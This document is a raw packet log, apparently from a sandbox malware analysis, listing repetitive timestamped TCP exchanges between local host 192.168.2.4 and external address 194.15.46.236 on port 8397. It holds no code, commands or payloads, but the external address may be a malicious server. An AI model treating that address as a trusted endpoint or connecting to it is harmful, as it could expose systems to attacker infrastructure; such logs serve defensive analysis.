Nov 24, 2024 12:10:12.562342882 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.563397884 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.563505888 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.563576937 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.564630985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.564714909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.564769030 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.565881968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.566001892 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.566054106 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.567137003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.567253113 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.567302942 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.568494081 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.568583965 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.568635941 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.569677114 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.569770098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.569830894 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.571160078 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.571393013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.571449041 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.572304964 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.572524071 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.572577953 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.573518991 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.573626041 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.573693037 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.574623108 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.574744940 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.574801922 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.575978041 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.576086044 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.576138020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.577322960 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.577464104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.577516079 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.578485966 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.578603983 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.578656912 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.579649925 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.579749107 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.579798937 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.580918074 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.581033945 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.581085920 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.582174063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.582299948 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.582353115 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.583416939 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.583528042 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.583595991 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.584671974 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.584791899 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.584846020 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.585920095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.586024046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.586078882 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.587167025 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.587285995 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.587348938 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.588408947 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.588524103 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.588577032 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.589700937 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.589853048 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.589910030 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.590948105 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.590998888 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.591053009 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.592278957 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.592452049 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.592506886 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.593463898 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.593568087 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.593640089 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.594701052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.594808102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.594862938 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.595951080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.596076012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.596123934 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.597213984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.597311974 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.597373962 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.598478079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.598557949 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.598609924 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.599708080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.599814892 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.599870920 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.600955009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.601035118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.601089954 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.602246046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.602348089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.602410078 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.603451967 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.603542089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.603596926 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.604716063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.604836941 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.604906082 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.606009960 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.606136084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.606190920 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.607347012 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.607382059 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.607438087 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.608555079 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.608580112 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.608647108 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.609736919 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.609855890 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.609905958 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.611035109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.611161947 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.611218929 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.612375975 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.612473011 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.612535000 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.613547087 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.613719940 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.613774061 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.614856958 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.614995003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.615047932 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.616189003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.616287947 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.616338968 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.617269993 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.617377996 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.617432117 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.618504047 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.618613958 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.618668079 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.619999886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.620114088 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.620163918 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.621241093 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.621339083 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.621393919 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.622383118 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.622518063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.622570992 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.623976946 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.624097109 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.624149084 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.624927998 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.671474934 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.769776106 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.769824028 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.770077944 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.770345926 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.770433903 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.770486116 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.771555901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.771672010 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.771714926 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.772815943 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.773008108 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.773047924 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.774081945 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.774199009 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.774240017 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.775326014 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.775422096 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.775465012 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.776582956 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.776696920 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.776741028 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.777810097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.777924061 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.777966022 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.779114962 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.779200077 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.779241085 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.780426979 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.780529976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.780570984 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.781621933 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.781713963 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.781754971 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.782835960 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.782953978 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.782995939 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.784064054 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.784193993 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.784234047 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.785387993 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.785518885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.785559893 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.786748886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.786853075 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.786894083 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.787978888 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.788084984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.788125992 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.789197922 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.789298058 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.789338112 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.790380955 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.790529013 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.790570974 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.791620016 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.791718960 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.791762114 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.793065071 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.793124914 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.793169022 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.794147968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.794219017 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.794260025 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.795381069 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.795494080 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.795536041 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.796614885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.796788931 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.796830893 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.797869921 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.798002005 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.798043966 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.799122095 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.799226046 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.799271107 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.800374985 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.800484896 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.800527096 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.801634073 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.801740885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.801783085 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.802896023 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.803006887 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.803047895 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.804135084 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.804240942 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.804281950 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.805593967 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.805717945 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.805757999 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.807434082 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.807486057 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.807527065 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.808604002 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.808706999 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.808747053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.809604883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.809686899 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.809730053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.810858011 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.810964108 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.811003923 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.811989069 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.812094927 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.812138081 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.813134909 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.813258886 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.813302994 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.814501047 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.814608097 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.814649105 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.815501928 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.815622091 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.815661907 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.816675901 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.816782951 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.816823959 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.817941904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.818043947 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.818083048 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.819178104 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.819295883 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.819334030 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.820430994 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.820554018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.820595980 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.821711063 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.821799040 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.821837902 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.822974920 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.822999954 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.823039055 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.824193001 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.824311018 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.824352026 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.825572968 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.825655937 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.825705051 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.826792002 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.826903105 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.826950073 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.827963114 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.828083038 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.828129053 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.829233885 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.829423904 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.829469919 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.830507994 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.830585957 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.830631971 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.831758976 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.831864119 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.831912041 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.832973003 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.833084106 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.833128929 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.834235907 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.834335089 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.834384918 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.835442066 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.890183926 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.984956980 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.984987020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.985066891 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.985137939 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.985258102 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.985301018 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.986145020 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.986205101 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.986248970 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.987241030 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.987330914 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.987373114 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.988311052 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.988395929 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.988452911 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.989468098 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.989531040 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.989573956 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.990823984 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.990914106 CET	8397	49733	194.15.46.236	192.168.2.4
Nov 24, 2024 12:10:12.990957975 CET	49733	8397	192.168.2.4	194.15.46.236
Nov 24, 2024 12:10:12.992031097 CET	8397	49733	194.15.46.236	192.168.2.4
